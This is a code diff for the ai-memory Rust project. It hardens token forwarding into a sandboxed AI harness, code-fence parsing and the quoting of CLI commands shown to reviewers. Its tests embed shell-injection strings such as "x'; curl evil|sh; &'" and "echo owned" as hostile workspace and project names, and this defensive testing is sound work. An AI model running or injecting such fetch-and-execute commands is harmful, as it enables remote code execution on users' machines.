[`Config::load`], so this re-sets the-/// same value.+/// Values this run resolved from config that the jailed re-run cannot resolve+/// again because ai-jail's private home hides the data dir. These are routing+/// values only. Authentication is forwarded solely when the operator supplied+/// `AI_MEMORY_AUTH_TOKEN` in the process environment; a config-file token must+/// never be promoted into the managed harness's environment.fn jail_resolved_env(config: &Config) -> Vec<(&'static str, String)> {let mut env = Vec::new();// A URL derived from a custom `bind` counts: the jail's private home has@@ -2603,15 +2600,32 @@ fn jail_resolved_env(config: &Config) -> Vec<(&'static str, String)> {if config.server_url_configured() || config.server_url_derived_from_bind {env.push(("AI_MEMORY_SERVER_URL", config.server_url.clone()));}- if let Some(token) = config+ if !config.base_path.is_empty() {+ env.push(("AI_MEMORY_BASE_PATH", config.base_path.clone()));+ }+ env+}++/// A token loaded from `config.toml` or its referenced file is server+/// authority that the harness did not previously possess. ai-jail's private+/// home cannot read it, but copying it into the re-exec environment would let+/// the harness exfiltrate a root bearer. Refuse that launch instead. An+/// operator-provided environment token already belongs to the child process+/// boundary and is forwarded unchanged.+fn ensure_jail_does_not_export_config_token(config: &Config) -> Result<()> {+ if config.auth.bearer_token.as_deref()- .filter(|token| !token.trim().is_empty())+ .is_some_and(|token| !token.trim().is_empty())+ && config.runtime_env.var_os("AI_MEMORY_AUTH_TOKEN").is_none(){- env.push(("AI_MEMORY_AUTH_TOKEN", token.to_owned()));+ return Err(anyhow!(+ "--jail cannot forward the server bearer loaded from config into the managed harness; \+ use a least-privilege AI_MEMORY_AUTH_TOKEN for this launch, or run without --jail"+ ));}- env+ Ok(())}/// Replace this process with `<ai_jail> <jail_args>` on Unix (never returns@@ -4678,25 +4692,32 @@ mod tests {);}- /// Regression: the jailed re-run cannot see the data dir, so a bearer the- /// outer run read from `[auth].bearer_token_file` must cross into the jail,- /// or every server call inside fails with 401.+ /// A jailed re-run keeps routing but must not turn a server bearer loaded+ /// from a private config file into a secret exposed to the harness.#[test]- fn jail_resolved_env_carries_a_file_sourced_token_and_configured_url() {+ fn jail_refuses_a_config_sourced_token_and_forwards_routing() {let mut config = Config {server_url: "http://memory.lan:49374".into(),+ server_url_explicit: true,+ base_path: "/memory".into(),..Config::default()};config.auth.adopt_token_file(PathBuf::from("/data/auth-tokens/default"),"file-token".into(),);+ let error = ensure_jail_does_not_export_config_token(&config).unwrap_err();+ assert!(+ error+ .to_string()+ .contains("cannot forward the server bearer")+ );let env = jail_resolved_env(&config);assert_eq!(env,[("AI_MEMORY_SERVER_URL", "http://memory.lan:49374".to_owned()),- ("AI_MEMORY_AUTH_TOKEN", "file-token".to_owned()),+ ("AI_MEMORY_BASE_PATH", "/memory".to_owned()),]);for (name, _) in &env {@@ -4709,17 +4730,24 @@ mod tests {#[test]fn jail_forwarded_names_come_from_the_captured_env_and_resolved_values() {- let config = Config {+ let mut config = Config {runtime_env: crate::config::RuntimeEnv::with_process_env_for_tests(&[+ ("AI_MEMORY_AUTH_TOKEN", "operator-token"),("CLAUDE_CONFIG_DIR", "/home/op/.claude"),("UNRELATED", "x"),]),..Config::default()};- let resolved = [("AI_MEMORY_AUTH_TOKEN", "file-token".to_owned())];+ config.auth.bearer_token = Some("operator-token".into());+ assert!(ensure_jail_does_not_export_config_token(&config).is_ok());+ let resolved = [("AI_MEMORY_BASE_PATH", "/memory".to_owned())];assert_eq!(jail_forwarded_names(&config, &resolved),- ["AI_MEMORY_AUTH_TOKEN", "CLAUDE_CONFIG_DIR"]+ [+ "AI_MEMORY_BASE_PATH",+ "AI_MEMORY_AUTH_TOKEN",+ "CLAUDE_CONFIG_DIR"+ ]);assert!(jail_forwarded_names(&Config::default(), &[]).is_empty());}@@ -6943,13 +6971,12 @@ mod tests {// Degraded offline launches (server unreachable)// ----------------------------------------------------------------- /// A loopback address that nothing listens on: bind, capture, release.- /// Rebinding races exist but are vanishingly rare under a test load.- async fn closed_port_url() -> String {- let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();- let address = listener.local_addr().unwrap();- drop(listener);- format!("http://{address}")+ /// A loopback endpoint that accepts and closes every connection.+ ///+ /// Keeping the listener alive avoids an ephemeral-port reuse race with+ /// the many HTTP fixtures running alongside these tests.+ fn offline_server_url() -> String {+ ai_memory_test_support::dead_http_endpoint()}#[cfg(unix)]@@ -6999,7 +7026,7 @@ mod tests {let mut config = Config::load(None, Some(temp.path().join("data"))).unwrap();config.data_dir = temp.path().join("data");config.home_dir = Some(home.to_string_lossy().into_owned());- config.server_url = closed_port_url().await;+ config.server_url = offline_server_url();config.run_autowire = false;let args = RunArgs {@@ -7236,14 +7263,14 @@ mod tests {/// retention, and the opt-outs.#[tokio::test]async fn offline_launch_warning_names_the_tradeoffs() {- let url = closed_port_url().await;+ let url = offline_server_url();let endpoint = ServerEndpoint::from_config_resolving_auth(&Config {server_url: url,..Config::load(None, None).unwrap()}).await;let ServerProbe::Unreachable(error) = probe_server(&endpoint).await else {- panic!("closed port is unreachable");+ panic!("the no-answer endpoint is unreachable");};let warning = offline_launch_warning(&endpoint, ManagedHarness::Claude, 8, error);@@ -7287,7 +7314,7 @@ mod tests {#[tokio::test]async fn unreachable_errors_are_transport_errors_not_server_answers() {- let url = closed_port_url().await;+ let url = offline_server_url();let endpoint = ServerEndpoint::from_config_resolving_auth(&Config {server_url: url,..Config::load(None, None).unwrap()@@ -7296,7 +7323,7 @@ mod tests {let transport =post_json::<_, FinishManagedRunResponse>(&endpoint, "/workstream/runs/x/finish", &()).await- .expect_err("closed port");+ .expect_err("no-answer endpoint");assert!(is_unreachable_error(&transport));let answered = crate::http_client::server_response_error_for_test(diff --git a/crates/ai-memory-cli/src/commands/status.rs b/crates/ai-memory-cli/src/commands/status.rsindex 0b87ea75..2c4b13d0 100644--- a/crates/ai-memory-cli/src/commands/status.rs+++ b/crates/ai-memory-cli/src/commands/status.rs@@ -171,10 +171,10 @@ fn report_offline_spool(spool: &SpoolHealth, json: bool) {eprintln!(" pending: {}", spool.pending);eprintln!(" oldest: {}", spool_age_line(spool.oldest_age_ms));eprintln!(" retries: {}", spool.retries_total);- if spool.evicting() {+ if spool.at_capacity() {eprintln!(- " The spool is full ({} events): each new event evicts the oldest \- undelivered one, which is lost. Bring the server back to stop the loss.",+ " The spool is full ({} events): newly captured events are dropped until \+ space is available. Bring the server back to stop the loss.",spool.capacity);} else if spool.pending > 0 {diff --git a/crates/ai-memory-cli/src/config.rs b/crates/ai-memory-cli/src/config.rsindex 957fb6f5..0151c55a 100644--- a/crates/ai-memory-cli/src/config.rs+++ b/crates/ai-memory-cli/src/config.rs@@ -287,6 +287,14 @@ pub struct Config {/// something an operator states.#[serde(skip)]pub server_url_derived_from_bind: bool,+ /// Whether the operator explicitly set `server_url` in config or the+ /// process environment, including an explicit value equal to the default.+ ///+ /// This is loader provenance, not persisted configuration. Comparing the+ /// loaded value with [`DEFAULT_SERVER_URL`] loses this distinction and can+ /// make installers overwrite an intentional default URL (#1269 follow-up).+ #[serde(skip)]+ pub server_url_explicit: bool,/// Optional override for the GitHub Releases base URL used by/// `ai-memory upgrade` (archive + `.sha256` download). Empty/unset/// means `https://github.com/akitaonrails/ai-memory/releases`. Set via@@ -1329,6 +1337,7 @@ impl Default for Config {tcp_keepalive_secs: DEFAULT_TCP_KEEPALIVE_SECS,server_url: DEFAULT_SERVER_URL.into(),server_url_derived_from_bind: false,+ server_url_explicit: false,release_base_url: None,base_path: String::new(),home_dir: None,@@ -2277,6 +2286,7 @@ impl Config {&& Figment::from(Toml::file(&resolved_config_path)).find_value("server_url").is_ok());+ config.server_url_explicit = explicit_server_url;if let Some(server_url) = runtime_env.server_url.clone() {config.server_url = server_url;}@@ -2569,7 +2579,8 @@ impl Config {/// which is exactly why [`Self::server_url_derived_from_bind`] exists.#[must_use]pub fn server_url_configured(&self) -> bool {- self.server_url != DEFAULT_SERVER_URL && !self.server_url_derived_from_bind+ self.server_url_explicit+ || self.server_url != DEFAULT_SERVER_URL && !self.server_url_derived_from_bind|| self.runtime_env.server_url.is_some()}@@ -3740,6 +3751,7 @@ mod tests {.unwrap();assert_eq!(cfg.server_url, DEFAULT_SERVER_URL);assert!(!cfg.server_url_derived_from_bind);+ assert!(cfg.server_url_configured());let tmp = TempDir::new().unwrap();let config_path = tmp.path().join("config.toml");diff --git a/crates/ai-memory-cli/src/http_client.rs b/crates/ai-memory-cli/src/http_client.rsindex 12f213b7..59e70325 100644--- a/crates/ai-memory-cli/src/http_client.rs+++ b/crates/ai-memory-cli/src/http_client.rs@@ -402,11 +402,9 @@ fn build_url_with_query(/// Turn a low-level reqwest connect/timeout error into a friendlier/// message that surfaces the resolved server URL. The common cases are-/// "Connection refused" and a connect that never completes: on Windows a-/// closed loopback port is routinely dropped (timed out) by the firewall-/// instead of being refused, and both mean the same operator problem —-/// the CLI defaulted to (or was pointed at) an endpoint where nothing-/// answered.+/// "Connection refused", a connect that never completes, and a peer that+/// closes before sending an HTTP response. They all mean the same operator+/// problem: the CLI was pointed at an endpoint where no server answered.pub(crate) fn augment_connect_error(err: reqwest::Error,endpoint: &ServerEndpoint,@@ -447,13 +445,10 @@ pub(crate) fn server_unreachable(err: &anyhow::Error) -> bool {!answered && err.chain().any(error_chain_indicates_no_answer)}-/// Whether an error chain means "nothing answered at the transport-/// layer": reqwest classified it as a connect-phase or timeout failure,-/// or a `ConnectionRefused`/`TimedOut` io::Error — or its platform-/// wording — is buried in the source chain. reqwest wraps its errors-/// deeply, and matching only an explicit RST would hide the diagnosis-/// from exactly the hosts (windows-latest among them) whose firewalls-/// turn a refused loopback connect into a silent timeout.+/// Whether an error chain means "nothing answered at the transport layer".+/// reqwest may classify this as a connect/timeout failure or wrap the socket+/// error deeply. A peer can also accept and close before the HTTP response,+/// which is equally unreachable from the caller's perspective.fn error_chain_indicates_no_answer(err: &(dyn std::error::Error + 'static)) -> bool {if let Some(req) = err.downcast_ref::<reqwest::Error>()&& (req.is_connect() || req.is_timeout())@@ -465,13 +460,25 @@ fn error_chain_indicates_no_answer(err: &(dyn std::error::Error + 'static)) -> bif let Some(io) = e.downcast_ref::<std::io::Error>()&& matches!(io.kind(),- std::io::ErrorKind::ConnectionRefused | std::io::ErrorKind::TimedOut+ std::io::ErrorKind::ConnectionRefused+ | std::io::ErrorKind::ConnectionReset+ | std::io::ErrorKind::ConnectionAborted+ | std::io::ErrorKind::BrokenPipe+ | std::io::ErrorKind::UnexpectedEof+ | std::io::ErrorKind::TimedOut){return true;}let wording = e.to_string().to_ascii_lowercase();- if wording.contains("connection refused") || wording.contains("timed out") {+ if wording.contains("connection refused")+ || wording.contains("connection reset")+ || wording.contains("connection aborted")+ || wording.contains("connection closed before message completed")+ || wording.contains("unexpected eof")+ || wording.contains("broken pipe")+ || wording.contains("timed out")+ {return true;}src = e.source();@@ -899,21 +906,17 @@ mod tests {// Server reachability probe// ----------------------------------------------------------------- /// Bind a loopback listener, capture its address, and release it: the- /// next connection to that address is refused. Rebinding races exist on- /// loopback but are vanishingly rare under a test load.- async fn closed_port_endpoint() -> ServerEndpoint {- let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();- let address = listener.local_addr().unwrap();- drop(listener);- ServerEndpoint::from_pair(Some(format!("http://{address}")), None)+ /// Keep a listener bound and close every accepted connection so parallel+ /// tests cannot reuse an allegedly closed ephemeral port.+ fn no_answer_endpoint() -> ServerEndpoint {+ ServerEndpoint::from_pair(Some(ai_memory_test_support::dead_http_endpoint()), None)}#[tokio::test]- async fn probe_reports_a_closed_port_as_unreachable_with_the_diagnosis() {- let endpoint = closed_port_endpoint().await;+ async fn probe_reports_an_accept_then_close_peer_as_unreachable_with_the_diagnosis() {+ let endpoint = no_answer_endpoint();let ServerProbe::Unreachable(error) = probe_server(&endpoint).await else {- panic!("a closed port must be Unreachable");+ panic!("a peer that closes before responding must be Unreachable");};let url = endpoint.build_url("/workstream/runs");let augmented = augment_connect_error(error, &endpoint, &url);diff --git a/crates/ai-memory-consolidate/src/auto_improve.rs b/crates/ai-memory-consolidate/src/auto_improve.rsindex a41b9379..1d92b313 100644--- a/crates/ai-memory-consolidate/src/auto_improve.rs+++ b/crates/ai-memory-consolidate/src/auto_improve.rs@@ -4305,6 +4305,20 @@ mod tests {assert!(sections.iter().any(|s| s.anchor == "## Steps"));}+ #[test]+ fn heading_parser_ignores_headings_after_an_indented_pseudo_closer() {+ let body = "# Release\n\n````md\n ````\n## Injected Anchor\n````\n\n## Verify\nTwo\n";+ let sections = parse_markdown_sections(body);+ assert!(+ !sections.iter().any(|s| s.anchor == "## Injected Anchor"),+ "the four-space pseudo-closer must remain code"+ );+ assert!(+ sections.iter().any(|s| s.anchor == "## Verify"),+ "the real closer must expose the following heading"+ );+ }+#[test]fn patch_rejects_duplicate_headings_and_extra_h1_introduced_by_edits() {let body = "# Release\n\n## Steps\nOne\n";diff --git a/crates/ai-memory-consolidate/src/code_fence.rs b/crates/ai-memory-consolidate/src/code_fence.rsindex bdc4a593..e6c01fc3 100644--- a/crates/ai-memory-consolidate/src/code_fence.rs+++ b/crates/ai-memory-consolidate/src/code_fence.rs@@ -19,7 +19,11 @@ impl CodeFence {/// code inside a fence.pub(crate) fn step(current: Option<Self>, line: &str) -> (Option<Self>, bool) {let in_fence = current.is_some();- let trimmed = line.trim_start();+ let leading_spaces = line.as_bytes().iter().take_while(|&&b| b == b' ').count();+ if leading_spaces > 3 {+ return (current, in_fence);+ }+ let trimmed = &line[leading_spaces..];let glyph = match trimmed.chars().next() {Some(c @ ('`' | '~')) => c,_ => return (current, in_fence),@@ -88,4 +92,29 @@ mod tests {fn a_run_shorter_than_three_is_not_a_fence() {assert_eq!(code_lines("``\nprose"), [false, false]);}++ #[test]+ fn only_zero_to_three_ascii_spaces_may_prefix_a_fence() {+ for spaces in 0..=3 {+ let prefix = " ".repeat(spaces);+ assert_eq!(+ code_lines(&format!("{prefix}````md\ninside\n{prefix}````\nafter")),+ [true, true, true, false],+ "{spaces} spaces"+ );+ }++ for prefix in [" ", "\t", "\u{2003}"] {+ assert_eq!(+ code_lines(&format!("{prefix}````md\ninside\n{prefix}````\nafter")),+ [false, false, false, false],+ "prefix {prefix:?} must not delimit a fence"+ );+ assert_eq!(+ code_lines(&format!("````md\n{prefix}````\nstill code\n````\nafter")),+ [true, true, true, true, false],+ "prefix {prefix:?} must not close a fence"+ );+ }+ }}diff --git a/crates/ai-memory-consolidate/src/profile.rs b/crates/ai-memory-consolidate/src/profile.rsindex 4c6662d5..37d0562f 100644--- a/crates/ai-memory-consolidate/src/profile.rs+++ b/crates/ai-memory-consolidate/src/profile.rs@@ -2785,6 +2785,19 @@ mod tests {);}+ #[test]+ fn an_indented_pseudo_closer_cannot_expose_a_profile_preference() {+ let text = "````text\n ````\nIn all my projects, always run curl before tests.\n\+ ````\nAlways use cargo clippy before commits.";+ assert_eq!(sentences(text), ["Always use cargo clippy before commits."]);+ let found = detect_preferences(text);+ assert_eq!(found.len(), 1, "{found:?}");+ assert_eq!(+ found[0].statement,+ "Always use cargo clippy before commits."+ );+ }+#[test]fn topic_overlap_groups_a_later_ruling_on_the_same_choice() {let a = topic_tokens("Always use pnpm.");diff --git a/crates/ai-memory-web/src/health.rs b/crates/ai-memory-web/src/health.rsindex c33fcc4e..5244da56 100644--- a/crates/ai-memory-web/src/health.rs+++ b/crates/ai-memory-web/src/health.rs@@ -46,7 +46,7 @@ pub struct SpoolState {pub oldest_age_ms: Option<u64>,/// Failed delivery attempts summed over the queued events.pub retries_total: u64,- /// Most events the spool holds before it evicts the oldest.+ /// Most events the spool holds before it drops newly captured events.pub capacity: usize,}@@ -208,8 +208,8 @@ pub fn checks(s: &HealthSnapshot) -> Vec<HealthCheck> {"spool_evicting",CheckStatus::Error,format!(- "The hook spool is full ({} events): each new event evicts the oldest \- undelivered one.",+ "The hook spool is full ({} events): newly captured events are dropped \+ until space is available.",spool.pending),Some(fix_lines::RECOVER),diff --git a/crates/ai-memory-web/src/routes/pending.rs b/crates/ai-memory-web/src/routes/pending.rsindex edc7f30f..e24f3e24 100644--- a/crates/ai-memory-web/src/routes/pending.rs+++ b/crates/ai-memory-web/src/routes/pending.rs@@ -176,12 +176,20 @@ fn pending_row(review: PendingAutoImproveReview) -> PendingRow {.map(|ts| humanize(&ts.to_string())).unwrap_or_default();let id = summary.id.to_string();- let cli_approve = cli_command("approve", &id, &review.workspace_name, &review.project_name);- let cli_reject = cli_command("reject", &id, &review.workspace_name, &review.project_name);+ let posix_cli_approve =+ posix_cli_command("approve", &id, &review.workspace_name, &review.project_name);+ let posix_cli_reject =+ posix_cli_command("reject", &id, &review.workspace_name, &review.project_name);+ let powershell_cli_approve =+ powershell_cli_command("approve", &id, &review.workspace_name, &review.project_name);+ let powershell_cli_reject =+ powershell_cli_command("reject", &id, &review.workspace_name, &review.project_name);PendingRow {id,- cli_approve,- cli_reject,+ posix_cli_approve,+ posix_cli_reject,+ powershell_cli_approve,+ powershell_cli_reject,scope_label: label,target_href: page_href(&review.workspace_name, &review.project_name, &target_path),workspace: review.workspace_name,@@ -202,10 +210,9 @@ fn pending_row(review: PendingAutoImproveReview) -> PendingRow {}/// The `ai-memory pending-writes <verb>` command a reviewer pastes into a-/// shell. Workspace and project names are free text, so each argument is-/// quoted: a project named `x; curl … | sh` must stay one argument instead of-/// running when root pastes the line.-fn cli_command(verb: &str, id: &str, workspace: &str, project: &str) -> String {+/// POSIX shell. Workspace and project names are free text, so each argument+/// must stay one argument instead of becoming shell syntax.+fn posix_cli_command(verb: &str, id: &str, workspace: &str, project: &str) -> String {format!("ai-memory pending-writes {verb} {} --workspace {} --project {}",posix_quote(id),@@ -227,6 +234,21 @@ fn posix_quote(text: &str) -> String {format!("'{}'", text.replace('\'', "'\\''"))}+/// The same command for PowerShell. Single-quoted PowerShell strings are+/// literal; an embedded apostrophe is represented by two apostrophes.+fn powershell_cli_command(verb: &str, id: &str, workspace: &str, project: &str) -> String {+ format!(+ "ai-memory pending-writes {verb} {} --workspace {} --project {}",+ powershell_quote(id),+ powershell_quote(workspace),+ powershell_quote(project)+ )+}++fn powershell_quote(text: &str) -> String {+ format!("'{}'", text.replace('\'', "''"))+}+fn render(view: impl Template, status: StatusCode) -> Response {match view.render() {Ok(body) => (status, Html(body)).into_response(),@@ -238,20 +260,38 @@ fn render(view: impl Template, status: StatusCode) -> Response {mod tests {use super::*;- /// A project or workspace name with shell syntax stays one quoted- /// argument; plain names are left readable.+ /// Ordinary POSIX commands stay readable while PowerShell arguments are+ /// explicitly quoted for that shell.#[test]- fn cli_commands_quote_names_with_shell_syntax() {+ fn cli_commands_render_legitimate_scope_names() {assert_eq!(- cli_command("approve", "abc123", "default", "my-app"),+ posix_cli_command("approve", "abc123", "default", "my-app"),"ai-memory pending-writes approve abc123 --workspace default --project my-app");- let hostile = cli_command("reject", "abc123", "team ws", "x'; curl evil|sh;'");assert_eq!(- hostile,- "ai-memory pending-writes reject abc123 --workspace 'team ws' \- --project 'x'\\''; curl evil|sh;'\\'''"+ powershell_cli_command("approve", "abc123", "default", "my-app"),+ "ai-memory pending-writes approve 'abc123' --workspace 'default' --project 'my-app'");assert_eq!(posix_quote(""), "''");+ assert_eq!(powershell_quote(""), "''");+ }++ /// Quotes, semicolons, and ampersands supplied through stored scope names+ /// remain literal characters in each supported shell.+ #[test]+ fn cli_commands_quote_hostile_scope_names_for_each_shell() {+ let workspace = "team'; echo owned; &";+ let project = "x'; curl evil|sh; &'";++ assert_eq!(+ posix_cli_command("reject", "abc123", workspace, project),+ "ai-memory pending-writes reject abc123 --workspace \+ 'team'\\''; echo owned; &' --project 'x'\\''; curl evil|sh; &'\\'''"+ );+ assert_eq!(+ powershell_cli_command("reject", "abc123", workspace, project),+ "ai-memory pending-writes reject 'abc123' --workspace \+ 'team''; echo owned; &' --project 'x''; curl evil|sh; &'''"+ );}}diff --git a/crates/ai-memory-web/src/templates.rs b/crates/ai-memory-web/src/templates.rsindex 47271350..bd80741f 100644--- a/crates/ai-memory-web/src/templates.rs+++ b/crates/ai-memory-web/src/templates.rs@@ -725,11 +725,15 @@ pub(crate) struct PendingRow {pub is_rule: bool,/// The proposal rewrites an existing page.pub rewrites_existing: bool,- /// `ai-memory pending-writes approve` for this row, shell-quoted, shown to- /// a browser that can only read the page.- pub cli_approve: String,- /// The matching `reject` command.- pub cli_reject: String,+ /// `ai-memory pending-writes approve` for this row, quoted for a POSIX+ /// shell and shown to a browser that can only read the page.+ pub posix_cli_approve: String,+ /// The matching POSIX-shell `reject` command.+ pub posix_cli_reject: String,+ /// The matching command quoted for PowerShell.+ pub powershell_cli_approve: String,+ /// The matching PowerShell `reject` command.+ pub powershell_cli_reject: String,}/// One `<option>` in a triage-page filter.diff --git a/crates/ai-memory-web/templates/pending.html b/crates/ai-memory-web/templates/pending.htmlindex 98ef2a3e..22654444 100644--- a/crates/ai-memory-web/templates/pending.html+++ b/crates/ai-memory-web/templates/pending.html@@ -98,8 +98,16 @@</div><p class="text-xs text-slate-500 dark:text-slate-400 font-mono break-all">id {{ row.id }}</p>{% if read_only %}- <pre class="whitespace-pre-wrap break-all rounded-md bg-slate-50 dark:bg-slate-900 p-3 text-xs text-slate-700 dark:text-slate-300">{{ row.cli_approve }}-{{ row.cli_reject }}</pre>+ <div>+ <h2 class="mb-2 text-xs font-semibold uppercase tracking-wide text-slate-500 dark:text-slate-400">POSIX shell</h2>+ <pre class="whitespace-pre-wrap break-all rounded-md bg-slate-50 dark:bg-slate-900 p-3 text-xs text-slate-700 dark:text-slate-300">{{ row.posix_cli_approve }}+{{ row.posix_cli_reject }}</pre>+ </div>+ <div>+ <h2 class="mb-2 text-xs font-semibold uppercase tracking-wide text-slate-500 dark:text-slate-400">PowerShell</h2>+ <pre class="whitespace-pre-wrap break-all rounded-md bg-slate-50 dark:bg-slate-900 p-3 text-xs text-slate-700 dark:text-slate-300">{{ row.powershell_cli_approve }}+{{ row.powershell_cli_reject }}</pre>+ </div>{% else %}<div class="flex flex-wrap items-center gap-2"><button type="button" data-action="approve"diff --git a/crates/ai-memory-web/tests/suite/pending.rs b/crates/ai-memory-web/tests/suite/pending.rsindex 63e34820..d8cf14bd 100644--- a/crates/ai-memory-web/tests/suite/pending.rs+++ b/crates/ai-memory-web/tests/suite/pending.rs@@ -317,9 +317,9 @@ async fn pending_page_lists_every_projects_queue_for_root() {/// A browser signed in through the legacy Basic credential can read the page/// but never post a decision (`require_dual_auth` keeps that path GET-only),-/// so the page replaces the buttons with the CLI commands and says how to-/// enable password sign-in. Control: a root request without the marker keeps-/// the buttons.+/// so the page replaces the buttons with shell-specific CLI commands and says+/// how to enable password sign-in. Stored scope names with shell metacharacters+/// remain quoted. Control: a root request without the marker keeps the buttons.#[tokio::test]async fn pending_page_offers_cli_commands_instead_of_buttons_to_a_basic_browser() {let f = fixture().await;@@ -331,6 +331,16 @@ async fn pending_page_offers_cli_commands_instead_of_buttons_to_a_basic_browser(AutoImproveProposalOperation::Create,).await;+ let hostile_workspace = "team'; echo owned; &";+ let hostile_project = "repo'; curl evil|sh; &'";+ stage_in(+ &f.store,+ hostile_workspace,+ hostile_project,+ &[("notes/hostile.md", "Hostile scope")],+ AutoImproveProposalOperation::Create,+ )+ .await;let legacy = app(&f, AuthLevel::Root).layer(axum::middleware::from_fn(|mut req: Request<Body>, next: axum::middleware::Next| async move {req.extensions_mut()@@ -354,6 +364,22 @@ async fn pending_page_offers_cli_commands_instead_of_buttons_to_a_basic_browser()),"{body}");+ assert!(body.contains("POSIX shell"), "{body}");+ assert!(body.contains("PowerShell"), "{body}");+ assert!(+ body.contains(+ "--workspace 'team'\\''; echo owned; &' \+ --project 'repo'\\''; curl evil|sh; &'\\'''"+ ),+ "{body}"+ );+ assert!(+ body.contains(+ "--workspace 'team''; echo owned; &' \+ --project 'repo''; curl evil|sh; &'''"+ ),+ "{body}"+ );let (status, _, body) = get(app(&f, AuthLevel::Root), "/pending", true).await;assert_eq!(status, StatusCode::OK, "{body}");diff --git a/crates/ai-memory-wiki/src/markdown.rs b/crates/ai-memory-wiki/src/markdown.rsindex e36386fb..8567cb11 100644--- a/crates/ai-memory-wiki/src/markdown.rs+++ b/crates/ai-memory-wiki/src/markdown.rs@@ -157,7 +157,11 @@ impl CodeFence {/// Returns `(updated_fence_state, line_is_code_or_fence)`.fn step(current: Option<Self>, line: &str) -> (Option<Self>, bool) {let in_fence = current.is_some();- let trimmed = line.trim_start();+ let leading_spaces = line.as_bytes().iter().take_while(|&&b| b == b' ').count();+ if leading_spaces > 3 {+ return (current, in_fence);+ }+ let trimmed = &line[leading_spaces..];let glyph = match trimmed.chars().next() {Some(c @ ('`' | '~')) => c,_ => return (current, in_fence),@@ -1841,6 +1845,58 @@ mod tests {assert_eq!(links4[0].path.as_str(), "outside.md");}+ #[test]+ fn indented_pseudo_closers_do_not_expose_or_rewrite_fenced_links() {+ let page = PagePath::new("concepts/a.md").unwrap();+ let delink = BTreeSet::from([+ (+ None,+ Some("infra".to_string()),+ "runbooks/hidden.md".to_string(),+ ),+ (+ None,+ Some("infra".to_string()),+ "runbooks/visible.md".to_string(),+ ),+ ]);++ for prefix in [" ", "\t", "\u{2003}"] {+ let body = format!(+ "````md\n{prefix}````\n[[decisions/hidden.md]]\n\+ [[infra:runbooks/hidden.md]]\n````\n[[decisions/visible.md]]\n\+ [[infra:runbooks/visible.md]]\n"+ );+ let links = extract_links(&body, &page);+ let paths: Vec<&str> = links.iter().map(|link| link.path.as_str()).collect();+ assert_eq!(+ paths,+ ["decisions/visible.md", "runbooks/visible.md"],+ "prefix {prefix:?}"+ );++ let rewritten = rewrite_local_wikilinks(&body, &page, "proj");+ assert!(+ rewritten.contains("[[decisions/hidden.md]]"),+ "prefix {prefix:?}: {rewritten}"+ );+ assert!(+ rewritten.contains("[decisions/visible.md](../decisions/visible.md)"),+ "prefix {prefix:?}: {rewritten}"+ );++ let delinked = delink_wikilinks(&body, &page, &delink);+ assert!(+ delinked.contains("[[infra:runbooks/hidden.md]]"),+ "prefix {prefix:?}: {delinked}"+ );+ assert!(+ delinked.contains("\ninfra:runbooks/visible.md\n"),+ "prefix {prefix:?}: {delinked}"+ );+ }+ }+#[test]fn extract_links_parses_balanced_parentheses_and_pointy_destinations() {let root = PagePath::new("here.md").unwrap();diff --git a/crates/ai-memory-wiki/src/wiki.rs b/crates/ai-memory-wiki/src/wiki.rsindex 83267655..c848a264 100644--- a/crates/ai-memory-wiki/src/wiki.rs+++ b/crates/ai-memory-wiki/src/wiki.rs@@ -2930,14 +2930,11 @@ impl Wiki {/// #929): hybrid search silently fell back to FTS-only ranking for/// every rewritten page.///- /// Best-effort: an embedder failure is logged and recorded via- /// `record_embed_failure` but never propagated, so a working page write- /// is never undone by an embedding hiccup.- ///- /// # Errors- /// Returns [`WikiError`] only for a store error while persisting a- /// successfully computed vector; provider/embedder failures are caught- /// and recorded instead.+ /// Best-effort: provider and embedding-store failures are logged and+ /// recorded but never propagated. The page mutation has already committed+ /// before this method runs, so reporting the whole operation as failed+ /// would invite a duplicate retry and can skip later post-commit work such+ /// as admission-webhook dispatch.async fn embed_page_version(&self,page_id: PageId,@@ -2950,7 +2947,8 @@ impl Wiki {match embedder.embed_document(body).await {Ok(vec) => {let bytes = f32_vec_to_bytes(&vec);- self.writer+ if let Err(e) = self+ .writer.store_embedding(page_id,bytes,@@ -2962,7 +2960,18 @@ impl Wiki {embedder.model_identity(),embedder.dim(),)- .await?;+ .await+ {+ tracing::warn!(error = %e, path = %page_id, "embedding store failed; page indexed without it");+ let _ = self+ .writer+ .record_embed_failure(+ page_id,+ ai_memory_store::EmbedOutcome::Failed,+ Some(e.to_string()),+ )+ .await;+ }}Err(e) => {tracing::warn!(error = %e, path = %page_id, "embedding failed; page indexed without it");@@ -2988,7 +2997,8 @@ impl Wiki {match abstract_text {Some(abstract_text) => match embedder.embed_document(abstract_text).await {Ok(vec) => {- self.writer+ if let Err(e) = self+ .writer.store_abstract_embeddings(vec![ai_memory_store::EmbeddingWrite {page_id,vector_bytes: f32_vec_to_bytes(&vec),@@ -2997,7 +3007,18 @@ impl Wiki {model: embedder.model_identity(),dim: embedder.dim(),}])- .await?;+ .await+ {+ tracing::warn!(error = %e, path = %page_id, "abstract embedding store failed; page indexed without it");+ let _ = self+ .writer+ .record_embed_failure(+ page_id,+ ai_memory_store::EmbedOutcome::Failed,+ Some(e.to_string()),+ )+ .await;+ }}Err(e) => {tracing::warn!(error = %e, path = %page_id, "abstract embedding failed; page indexed without it");@@ -3011,7 +3032,19 @@ impl Wiki {.await;}},- None => self.writer.delete_abstract_embedding(page_id).await?,+ None => {+ if let Err(e) = self.writer.delete_abstract_embedding(page_id).await {+ tracing::warn!(error = %e, path = %page_id, "stale abstract embedding cleanup failed");+ let _ = self+ .writer+ .record_embed_failure(+ page_id,+ ai_memory_store::EmbedOutcome::Failed,+ Some(e.to_string()),+ )+ .await;+ }+ }}Ok(())}@@ -3508,6 +3541,46 @@ mod tests {};use tempfile::TempDir;+ struct StoreFailingEmbedder {+ db_path: PathBuf,+ broke_body_table: std::sync::atomic::AtomicBool,+ }++ #[async_trait::async_trait]+ impl Embedder for StoreFailingEmbedder {+ fn provider(&self) -> &'static str {+ "store-failure-test"+ }++ fn model(&self) -> &str {+ "store-failure-test-v1"+ }++ fn dim(&self) -> u32 {+ 4+ }++ async fn embed(&self, _text: &str) -> ai_memory_llm::LlmResult<Vec<f32>> {+ if !self+ .broke_body_table+ .swap(true, std::sync::atomic::Ordering::SeqCst)+ {+ rusqlite::Connection::open(&self.db_path)+ .unwrap()+ .execute_batch("DROP TABLE page_embeddings")+ .unwrap();+ }+ Ok(vec![0.5; 4])+ }+ }++ fn store_failing_embedder(store: &Store) -> Arc<dyn 